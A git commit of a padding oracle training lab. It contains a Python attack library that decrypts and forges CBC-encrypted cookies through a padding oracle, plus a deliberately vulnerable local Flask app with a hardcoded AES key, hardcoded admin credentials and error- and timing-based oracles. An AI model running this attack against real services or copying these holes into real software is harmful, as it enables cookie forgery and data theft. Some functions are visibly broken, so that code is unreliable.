Browse Source

initial commit

Marius Schwarz 4 years ago
commit
bfabe20627

+ 344 - 0
code/padd0r.py

@@ -0,0 +1,344 @@
+#!/usr/bin/python
+from base64 import b64encode, b64decode
+from copy import deepcopy
+import logging
+import random
+
+
+class Encoding:
+    ''' Encoding Enum '''
+
+    b64       = 1
+    b64_web   = 2
+    hex       = 3
+    raw       = 5
+
+class PaddingOracle(object):
+    '''
+        Generic code to attack padding oracles
+    '''
+
+
+    def __init__(self, ciphertext, BS=None, verbosity=1, encoding=Encoding.b64, oracle=None):
+
+        # setup logging - default
+        self.set_verbosity(verbosity)
+
+        # init class variables
+        self.encoding = encoding
+        self.oracle_func = oracle
+        self.analyse_func = None
+
+        # encode the initial ciphertext
+        self.ct = self.decode(ciphertext)
+
+        # if no BS is give, determine the BS
+        if BS == None:
+            self.BS = self.get_blocksize(self.ct)
+
+        self.num_blocks = self._ct_init()
+
+        self.blocks = self.split_blocks(self.ct)
+        self._outmode = "hex"
+
+        # backup it_blocks and pt_blocks as dict {index:block} - for changing blocks
+        self.it_blocks = {}
+        self.pt_blocks = {}
+
+
+
+    '''
+        Used to decode the ciphertext, using the class variable self.encoding,
+        internally the ciphertext is processed as string (bytes)
+    '''
+    def decode(self, ciphertext):
+        if self.encoding == Encoding.b64:
+            ciphertext = b64decode(ciphertext)
+        elif self.encoding == Encoding.hex:
+            ciphertext = ciphertext.decode('hex')
+        elif self.encoding == Encoding.b64_web:
+            ciphertext = b64decode(ciphertext) #TODO: adjust to b64web_decoding
+        return ciphertext
+
+    '''
+        Used to encode the ciphertext, using the class variable self.encoding,
+        internally the ciphertext is processed as string (bytes) but returned
+        in the same fashion as the input was
+    '''
+    def encode(self, ciphertext):
+        if self.encoding == Encoding.b64:
+            ciphertext = b64encode(ciphertext)
+        elif self.encoding == Encoding.hex:
+            ciphertext = ciphertext.encode('hex')
+        elif self.encoding == Encoding.b64_web:
+            ciphertext = b64encode(ciphertext) #TODO: adjust to b64web_decoding
+        return ciphertext
+
+
+
+
+    '''
+        simple length checks and blockcount
+    '''
+    def _ct_init(self):
+        if len(self.ct) % self.BS != 0:
+            raise Exception("[-] Length not a multiple of the BS")
+        return len(self.ct) / self.BS
+
+
+    '''
+        splits the ciphertext in bs-large blocks
+    '''
+    def split_blocks(self, ct):
+        return [bytearray(ct[i:i+self.BS]) for i in xrange(0, len(ct), self.BS)]
+
+    '''
+        merges the blocks together and return ciphertext
+    '''
+    def merge_blocks(self, blocks):
+        return "".join([str(b) for b in blocks])
+
+
+    def last_word_oracle(self, y):
+        r = [chr(random.randint(0x00, 0xff)) for i in range(self.BS)]
+        r_b = r[-1]
+        for i in range(256):
+            r[-1] = chr(ord(r_b) ^ i)
+            y = ''.join(r)
+
+            # ask the oracle
+            if self.oracle_func(r + y):
+                # padding is 0x01
+                r_b = r_b ^ i
+
+                # for n = b down to 2
+                for n in range(self.BS, 1, -1):
+                    r = r[self.BS-n] * r[self.BS-2]
+
+
+    '''
+        bool oracle(ct) - should return True if ct is correct and False if padding error
+    '''
+    def crack_last_block(self, blocks):
+
+        orig_blocks = deepcopy(blocks) # deepcopy for not referencing lists...
+
+        pt_block = [0]*self.BS   # plaintext block
+        it_block = [0]*self.BS   # intermidiate block
+
+        orig_pre_ct = orig_blocks[-2]
+
+        # only assigning the lists will reference to the original blocks-list!!
+        pre_ct = blocks[-2]   # second to last ct block - gets modified
+        last_ct = blocks[-1]  # last ct block
+
+        real_padding = self.BS
+        first_run = True
+
+        # byte_index is counting backwards in the second-to-last block
+        for byte_index in xrange(self.BS-1, -1, -1):
+
+            padding = self.BS - byte_index
+
+            # gets jumped over during the first run
+            if byte_index < 15:
+                for prev_byte_index in xrange(15, byte_index, -1):
+                    #print("[-] Adjusting byte @ offset %d [Padding: %x]" % (prev_byte_index, padding))
+                    pre_ct[prev_byte_index] = it_block[prev_byte_index] ^ padding
+
+
+            for guess in xrange(256):
+                # iterate the bytes @ byte_index position
+                pre_ct[byte_index] = guess
+
+                # ask the oracle
+                #if oracle(merge_blocks(blocks)) and orig_pre_ct[byte_index] != guess:
+                if self.oracle_func == None:
+                    raise Exception("[-] No Oracle function set!")
+
+                if self.oracle_func(self.merge_blocks(blocks)):
+                    if guess == orig_pre_ct[byte_index] and padding < real_padding:
+                        continue
+
+                    pt_block[byte_index] = guess ^ padding ^ orig_pre_ct[byte_index]
+
+                    if first_run:
+                        real_padding = pt_block[byte_index]
+                        print('')
+                        first_run = False
+
+                    it_block[byte_index] = guess ^ padding
+                    logging.debug("[~]  correct padding [{0}] with byte [{1}]\n\t-> it_byte = {0} ^ {1}    = {3}\n\t-> pt_byte = it_byte ^ {2} = {4}\n".format(hex(padding),\
+                            hex(guess), hex(orig_pre_ct[byte_index]), hex(it_block[byte_index]),hex(pt_block[byte_index])))
+                    logging.debug("[+] Plaintext Block: {}".format(pt_block))
+                    break
+
+        return it_block, pt_block
+
+    '''
+        used to print the ct blocks as hexdump
+    '''
+    def print_ct_blocks(self):
+        print("[~] ciphertext as blockwise hexdump")
+        ch_arr = self.bytes_to_string(reduce(lambda x, y: x+y, [list(ba) for ba in self.blocks]))
+        print(self.hexdump(ch_arr, length=self.BS))
+
+
+    '''
+        convert a byte-list to a string
+    '''
+    def bytes_to_string(self, inp):
+        return "".join([chr(p) for p in inp])
+
+
+    '''
+        change block @ index to a new block
+    '''
+    def change_block(self, new_plaintext):
+
+        if len(new_plaintext) % self.BS != 0:
+            raise Exception("[-] new plaintext should be a multiple of the blocksize")
+
+        # Startin at Block 2 (index 1)
+        new_blocks = self.split_blocks(new_plaintext)
+        num_new_blocks = len(new_blocks)
+        local_blocks = deepcopy(self.blocks)
+        local_it_blocks = deepcopy(self.it_blocks)
+
+
+        if num_new_blocks > len(local_blocks):
+            raise Exception("[-] Plaintext is too long")
+
+        for idx in range(num_new_blocks-1, 0, -1):
+            logging.info("[*] changing index %d" % idx)
+            it_block = self.get_it_block(idx, local_blocks)
+            local_blocks[idx-1] = ''.join(map(lambda (x,y): chr(x^y), zip(new_blocks[idx], it_block)))
+
+        x = self.merge_blocks(local_blocks)
+
+        # adjust all the previous blocks (iv block_0 = IV, the complete message can be changed)
+        return self.encode(x)
+
+    '''
+        used to crack the block @ index
+        index := {0, 1, .., .., len-1}
+    '''
+    def get_it_block(self, index, ct_blocks):
+
+        if not index:
+            raise Exception("[-] Cannot decrypt the first block")
+        local_blocks = deepcopy(ct_blocks)
+        it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
+        return it_block
+
+
+    '''
+        used to crack the block @ index
+        index := {0, 1, .., .., len-1}
+    '''
+    def crack_block(self, index):
+
+        if not index:
+            raise Exception("[-] Cannot decrypt the first block")
+        local_blocks = deepcopy(self.blocks)
+        it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
+
+        self.it_blocks[index] = it_block
+        self.pt_blocks[index] = pt_block
+
+        logging.info("\n[+] decrypted block [%d]\n" %(index))
+        self._output(pt_block)
+
+
+    '''
+        universal func. to output plaintext
+    '''
+    def _output(self, pt_block):
+        print("-----[ Plaintext ]-----")
+
+        if self._outmode == "hex":
+            print(self.hexdump(self.bytes_to_string(pt_block)))
+        elif self._outmode == "str":
+            print(self.bytes_to_string(pt_block))
+
+
+    '''
+        set the output mode for printing the plaintext
+    '''
+    def set_output(self, mode):
+        self._outmode = mode
+
+
+    '''
+        verbosity for different output
+        0 = no output
+        1 = INFO
+        2 = DEBUG
+    '''
+    def set_verbosity(self, level):
+        levels = {
+                0:logging.WARNING,
+                1:logging.INFO,
+                2:logging.DEBUG
+                }
+        logging.basicConfig(format='%(message)s', level=levels.get(level, logging.INFO))
+
+
+    '''
+        crack all blocks of the ciphertext (except first one)
+    '''
+    def decrypt_all_blocks(self):
+
+        orig_blocks = deepcopy(self.blocks)
+        local_blocks = deepcopy(self.blocks)
+
+        num_blocks = len(self.blocks)
+        pt_blocks = []
+        logging.info("[*] decrypting all %d blocks" % num_blocks)
+        for idx in xrange(num_blocks, 1, -1):
+            logging.info("\n-----[ decrypting block %d ]-----\n" %(idx))
+            it_block, pt_block = self.crack_last_block(local_blocks[:idx])
+            pt_blocks.append(pt_block)
+            local_blocks = deepcopy(orig_blocks)
+
+            self.it_blocks[idx-1] = it_block
+            self.pt_blocks[idx-1] = pt_block
+
+        pt_blocks = pt_blocks[::-1]
+        pt = reduce(lambda x, y: x+y, pt_blocks)
+
+        logging.info("\n[+] decrypted all the blocks\n")
+        self._output(pt)
+
+
+    '''
+        get the blocksize via the oracle - described in 'Practical Padding Oracle Attacks', by T. Duong & J. Rizzo
+        Works like following:
+    '''
+    def get_blocksize(self, ciphertext):
+        if self.oracle_func == None:
+            raise Exception('Error: Not oracle set!')
+
+        if len(ciphertext) % 16 == 8:
+            return 8
+
+        c = ciphertext[-16:]
+        if self.oracle_func(ciphertext + c) == True:
+            return 8
+
+        return 16
+
+
+    def hexdump(self, src, length=16):
+        ''' https://gist.github.com/sbz/1080258 '''
+        src = str(src)
+        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
+        lines = []
+        for c in xrange(0, len(src), length):
+            chars = src[c:c+length]
+            hex = ' '.join(["%02x" % ord(x) for x in chars])
+            printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
+            lines.append("%04x  %-*s  %s\n" % (c, length*3, hex, printable))
+        return ''.join(lines)
+
+

+ 43 - 0
code/poc_po1.py

@@ -0,0 +1,43 @@
+from base64 import b64encode, b64decode
+from padd0r import PaddingOracle, Encoding
+import requests
+import logging
+
+# disable logging
+logging.getLogger("requests").setLevel(logging.CRITICAL)
+logging.getLogger("urllib3").setLevel(logging.WARNING)
+
+# Set the admin cookie!
+admin_cookie = ""
+
+def oracle(ct):
+
+    url = "http://127.0.0.1:5000/po1"
+
+    data = {
+        "auth":b64encode(ct)
+    }
+
+    text = requests.get(url, cookies=data).text
+
+    # distinguish between a padding error and a valid padding
+    # ....
+
+
+
+    # dont forget to return true on a valid padding and false on a wrong padding
+
+
+def decrypt(cookie):
+    #                   ciphertext
+    #                           verbosity can be 1 or 2
+    #                                       which encodings are realistic?
+    #                                                               pass the oracle functions as parameter
+    po = PaddingOracle(cookie, verbosity=1, encoding=Encoding.b64, oracle=oracle)
+    po.set_output("hex")
+
+    # decrypt the blocks
+
+
+
+decrypt(admin_cookie)

+ 10 - 0
lab/Makefile

@@ -0,0 +1,10 @@
+all:
+
+
+clean:
+	rm -rf *.pyc
+	rm -rf __pycache__/
+	rm -rf helper/*.pyc
+	rm -rf helper/__pycache__/
+
+

+ 1 - 0
lab/Requirements.txt

@@ -0,0 +1 @@
+flask

+ 20 - 0
lab/config.py

@@ -0,0 +1,20 @@
+import hashlib
+from helper.user import User
+
+#    The Flags for the Challanges
+FLAGS = {
+        'po1':'P{ezpz_b4sic_padd1ng_0r4cle_a77ack}',
+        'po2':'PO{itz_g3tting_h4rder}',
+        'po3':'PO{t1ming_c4n_b3_hard}',
+        'po4':'PO{bl3ichenb4cher_w0uld_b3_pr0ud}',
+}
+
+app_users = {
+        User("admin", "superStrongAndUnguessablePassword", 1337),
+        User("user", "password", 2000),
+}
+
+
+
+
+

+ 87 - 0
lab/cookie_handler.py

@@ -0,0 +1,87 @@
+from crypt import *
+from base64 import b64encode,b64decode
+from config import *
+from time import sleep
+import urllib
+from flask import render_template
+
+
+secret_msg =  {
+        1337:"Welcome Back Administrator, Secret Key: %s" % (FLAGS['po2']),
+        1000:"Superb!"
+}
+
+def validate_cookie_po1(cookie):
+    print("validating cookie: %s" % cookie)
+    msg = decrypt(b64decode(cookie))
+    if msg == False:
+        return '{"Error":"PaddingError"}'
+    else:
+        print('Debug: decryped cookie: %s' % msg)
+
+        username,pwhash,ar,flag = msg.split(':')
+        ar = int(ar)
+
+        for user in app_users:
+            if user.username == username and user.pwhash == pwhash:
+                # the cookie got a valid username and password
+                return render_template("welcome_ch1.html", username=username, rights=ar, secret=secret_msg.get(ar, "--- no message for you ---"))
+        else:
+            return "<h5>An Error occured.</h5>"
+
+
+def validate_cookie_po2(cookie):
+    print("validating cookie: %s" % cookie)
+    msg = decrypt(b64decode(cookie))
+    if msg == False:
+        return '{"Error":"PaddingError"}'
+    else:
+        print('Debug: decryped cookie: %s' % msg)
+
+        username,pwhash,ar,flag = msg.split(':')
+        ar = int(ar)
+
+        for user in app_users:
+            if user.username == username and user.pwhash == pwhash:
+                # the cookie got a valid username and password
+                return render_template("welcome_ch2.html", username=username, rights=ar, secret=secret_msg.get(ar, "--- no message for you ---"))
+        else:
+            return "<h5>An Error occured.</h5>"
+
+def validate_cookie_po3(cookie):
+    msg = decrypt(b64decode(cookie))
+    if msg == False:
+        # just pretend to have a longer timing
+        sleep(1)
+        return ''
+    else:
+        print('Debug: decryped cookie: %s' % msg)
+        username,pwhash,ar,flag = msg.split(':')
+        ar = int(ar)
+
+        for user in app_users:
+            if user.username == username and user.pwhash == pwhash:
+                # the cookie got a valid username and password
+                return render_template("welcome_ch3.html", username=username, rights=ar, secret=secret_msg.get(ar, "--- no message for you ---"))
+        else:
+            return "<h5>An Error occured.</h5>"
+
+def validate_cookie_po4(cookie):
+    pass
+
+def create_cookie_po1(user_obj):
+    print('Debug: user_obj: %s' %user_obj)
+    user_obj.flag = FLAGS['po1']
+
+    cookie = b64encode(encr(str(user_obj))) return cookie
+def create_cookie_po2(user_obj):
+    print('Debug: user_obj: %s' %user_obj)
+    user_obj.flag = "P{Its-not-that-easy!;)}"
+    cookie = b64encode(encr(str(user_obj)))
+    return cookie
+
+def create_cookie_po3(user_obj):
+    print('Debug: user_obj: %s' %user_obj)
+    user_obj.flag = FLAGS['po3']
+    cookie = b64encode(encr(str(user_obj)))
+    return cookie

+ 60 - 0
lab/crypt.py

@@ -0,0 +1,60 @@
+from Crypto.Cipher import AES
+from random import randint
+
+
+key = "aaaabbbbccccdddd"
+
+def decr(ciphertext):
+  iv = ciphertext[:16]
+  c = ciphertext[17:]
+  cipher = AES.new(key, AES.MODE_CBC, iv)
+  return ispkcs7(cipher.decrypt(c))
+
+""" decrypts the ct and returns it when padding is ok, else retuirn False """
+def decrypt(ciphertext):
+  iv = ciphertext[:16]
+  c = ciphertext[16:]
+  cipher = AES.new(key, AES.MODE_CBC, iv)
+
+  plain = cipher.decrypt(c)
+  #print('Debug: padded msg: %s' % plain.encode('hex'))
+  if ispkcs7(plain):
+    return remove_padding(plain)
+  return False
+
+
+def remove_padding(pt):
+    pad_len = int(ord(pt[-1]))
+    return pt[:-pad_len]
+
+
+def ispkcs7(plaintext):
+  l = len(plaintext)
+  c = ord(plaintext[l-1])
+
+  if (c > 16) or (c < 1):
+    return False
+  if plaintext[l-c:] != chr(c) * c:
+    return False
+
+  return True
+
+
+def encr(plaintext):
+  iv = ''.join([chr(randint(0,0xff)) for x in range(16)])
+  cipher = AES.new(key, AES.MODE_CBC, iv)
+  ciphertext = cipher.encrypt(pkcs7(plaintext))
+  return iv + ciphertext
+
+def pkcs7(plaintext):
+  print("PKCS#7")
+  print plaintext
+  if len(plaintext) % 16 == 0:
+    pad = "\x00" * 16
+  else:
+    padbytes = 16 - len(plaintext) % 16
+    pad = padbytes * chr(padbytes)
+  tmp= plaintext + pad
+  print(tmp.encode('hex'))
+  return plaintext + pad
+

+ 2 - 0
lab/dashboard/compile.sh

@@ -0,0 +1,2 @@
+#!/bin/sh
+pandoc --template github $1.md -o $1.html

File diff suppressed because it is too large
+ 56 - 0
lab/dashboard/po.html


+ 28 - 0
lab/dashboard/po.md

@@ -0,0 +1,28 @@
+## Set of Challanges for exploiting Padding Oracle Vulnerabilities
+
+
+In this set of challanges, a basic Web Application is given. A user can login to this application with the following credentials:
+```
+user:password
+```
+Every user has priviledges in form of an integer, stored in the encrypted cookie. Solve the following Challanges.
+
+### Challange 1 - Basic CBC Padding Oracle
+
+Objective: Find the secret stored in the cookie.
+
+__URL:__ [http://127.0.0.1:5000/po1](http://127.0.0.1:5000/po1)
+
+
+### Challange 2 - A little more Effort
+
+Objective: Find the secret information of the root user (Access Rights: 1337).
+
+__URL:__ [http://127.0.0.1:5000/po2](http://127.0.0.1:5000/po2)
+
+
+### Challange 3 - Timing is everything...
+
+Objective: Find the secret stored in the cookie.
+
+__URL:__ [http://127.0.0.1:5000/po3](http://127.0.0.1:5000/po3)

File diff suppressed because it is too large
+ 56 - 0
lab/doc.html


+ 36 - 0
lab/doc.md

@@ -0,0 +1,36 @@
+# Documentation of the Training Source-Code
+
+This project is written in python. The Framework _flask_ is used for the web application. The following part will describe how the code is structred.
+
+## main.py
+
+This file contains the basic server functionality of the application.
+Every resource and the requests to this resource is handled in this file
+
+Available resources are:
+
+```
+/ # or /dashboard to access the challange description
+```
+
+```
+/po1 # First Challange - simple CBC Challange where the attacker must decrypt the cookie via a simple CBC Padding Oracle
+```
+
+```
+/po2 # Second Challange - more advanced CBC Challange where the attacker must decrypt the cookie and then change some values.
+```
+
+```
+/po3 # Third Challange - First RSA Padding Oracle Attack, implements a PKCS #1 v1.5 cookie encryption
+```
+
+```
+/po4 # Fourth Challange - Timing is everything... CBC Padding Oracle Attack via Timing Side Channel. Timing is increased using sleep() to simplify the attack.
+```
+
+
+## crypto.py
+
+This file implements every cryptographic function used for the challanges.
+

+ 0 - 0
lab/helper/__init__.py


+ 21 - 0
lab/helper/user.py

@@ -0,0 +1,21 @@
+import hashlib
+
+
+'''
+    User Class for storing all the application users, including some helper functions
+    which could be needed in later development
+'''
+class User:
+    def __init__(self, uname, pword, ar=1001):
+       self.username = uname
+       self.ar = ar
+       self.SALT = 'SALTERINO' # doest really matter that much
+       self.pwhash = hashlib.sha256(pword + self.SALT).hexdigest()
+       self.flag = ""
+
+    def __str__(self):
+        if self.flag != "":
+            return '%s:%s:%d:%s' %(self.username, self.pwhash, self.ar,self.flag)
+        return '%s:%s:%d:' %(self.username, self.pwhash, self.ar)
+
+

+ 108 - 0
lab/main.py

@@ -0,0 +1,108 @@
+#!/usr/bin/python2
+import json
+from flask import Flask
+from flask import request
+from flask import redirect
+from flask import make_response
+from flask import send_from_directory
+from flask import send_file
+from base64 import b64encode,b64decode
+
+from config import *
+from cookie_handler import *
+from crypt import *
+
+app = Flask(__name__)
+
+challs = {
+        'po1':validate_cookie_po1,
+        'po2':validate_cookie_po2,
+        'po3':validate_cookie_po3
+}
+
+
+'''
+    This displays the dashboard of the crypto challanges.
+    Used to redirect to the actual challanges
+'''
+@app.route("/")
+def index():
+    return send_file('dashboard/po.html')
+
+
+
+'''
+    Login Mask for all challanges, responds with the login mask and return the appropriate cookie validation function (for the challange)
+'''
+@app.route("/<path>")
+def login_mask(path):
+
+    # check if there is already a cookie
+    cookie = request.cookies.get("auth", False)
+    if not cookie or path not in challs.keys():
+        return send_from_directory('static', 'login.html')
+
+    # if cookie - validate the cookie with the appropr. function
+    return challs.get(path, notfound)(cookie)
+
+def notfound():
+    return "404"
+
+
+'''
+    Authentication function, takes username and password and generates the cookie.
+'''
+@app.route("/authenticate", methods=["POST"])
+def authenticate():
+    referrer = request.referrer[-3:]
+    username = request.form["user"]
+    password = request.form["pass"]
+
+    for user in app_users:
+        if user.username == username and user.pwhash == hashlib.sha256(password + user.SALT).hexdigest():
+            # correct username/password combination
+            print('Debug: Got correct username/password combination')
+            resp = make_response()
+            resp.headers.add("Location", request.referrer)
+            resp.status_code=302
+            # crafting the user object, which will get decrypted as the auth cookie
+            #user_obj = {"username":username, "access":app_users.get(username), 'secret':FLAGS[referrer]}
+            #user_obj = str(user)
+            user_obj = user
+            break
+    else:
+        # wrong username/password combination, Error
+        print('Debug: Wrong username/password combination, throwing error')
+        resp = make_response("{\"Error\":\"Login failed\"}")
+        resp.headers.add("Location", request.referrer)
+        resp.status_code=302
+        return resp
+
+    # Challange selector
+    if referrer == 'po1':
+        cookie = create_cookie_po1(user_obj)
+    elif referrer == 'po2':
+        cookie = create_cookie_po2(user_obj)
+    elif referrer == 'po3':
+        print('itse le referer')
+        cookie = create_cookie_po3(user_obj)
+    else:
+        return resp
+    print('Debug: generated cookie for (%s): %s' %(referrer, cookie))
+
+    # Setting the auth cookie and returning the response
+    resp.set_cookie("auth", cookie)
+    return resp
+
+
+
+
+@app.route("/logout")
+def logout():
+    res = make_response()
+    res.set_cookie("auth", "", expires=0)
+    res.headers.add("Location", request.referrer)
+    res.status_code=302
+    return res
+
+app.run(debug=False)

+ 8 - 0
lab/static/login.html

@@ -0,0 +1,8 @@
+<html>
+    <h1>Awesome Admin Panel</h1>
+    <form action="/authenticate" method="POST">
+        <input type="text" name="user" placeholder="username">
+        <input type="password" name="pass" placeholder="********">
+        <input type="submit" name="submit">
+    </form>
+</html>

+ 18 - 0
lab/templates/welcome_ch1.html

@@ -0,0 +1,18 @@
+<html>
+    <head>
+        <title>Challenge 1: Welcome {{username}} </title>
+    </head>
+
+    <body>
+        <b>Welcome {{ username }}</b>  <br>
+        Your Access rights: {{rights}} <br><br>
+
+        Message of the day: {{secret}}
+
+        <br>
+        <br>
+        <br>
+        <br>
+        <a href="/logout">Logout</a>
+    </body>
+</html>

+ 18 - 0
lab/templates/welcome_ch2.html

@@ -0,0 +1,18 @@
+<html>
+    <head>
+        <title>Challenge 2: Welcome {{username}} </title>
+    </head>
+
+    <body>
+        <b>Welcome {{ username }}</b>  <br>
+        Your Access rights: {{rights}} <br><br>
+
+        Message of the day: {{secret}}
+
+        <br>
+        <br>
+        <br>
+        <br>
+        <a href="/logout">Logout</a>
+    </body>
+</html>

+ 18 - 0
lab/templates/welcome_ch3.html

@@ -0,0 +1,18 @@
+<html>
+    <head>
+        <title>Challenge 3: Welcome {{username}} </title>
+    </head>
+
+    <body>
+        <b>Welcome {{ username }}</b>  <br>
+        Your Access rights: {{rights}} <br><br>
+
+        Message of the day: {{secret}}
+
+        <br>
+        <br>
+        <br>
+        <br>
+        <a href="/logout">Logout</a>
+    </body>
+</html>

BIN
slides/Padding-Oracle-Attacks_msc_KF_111019.pdf


Some files were not shown because too many files changed in this diff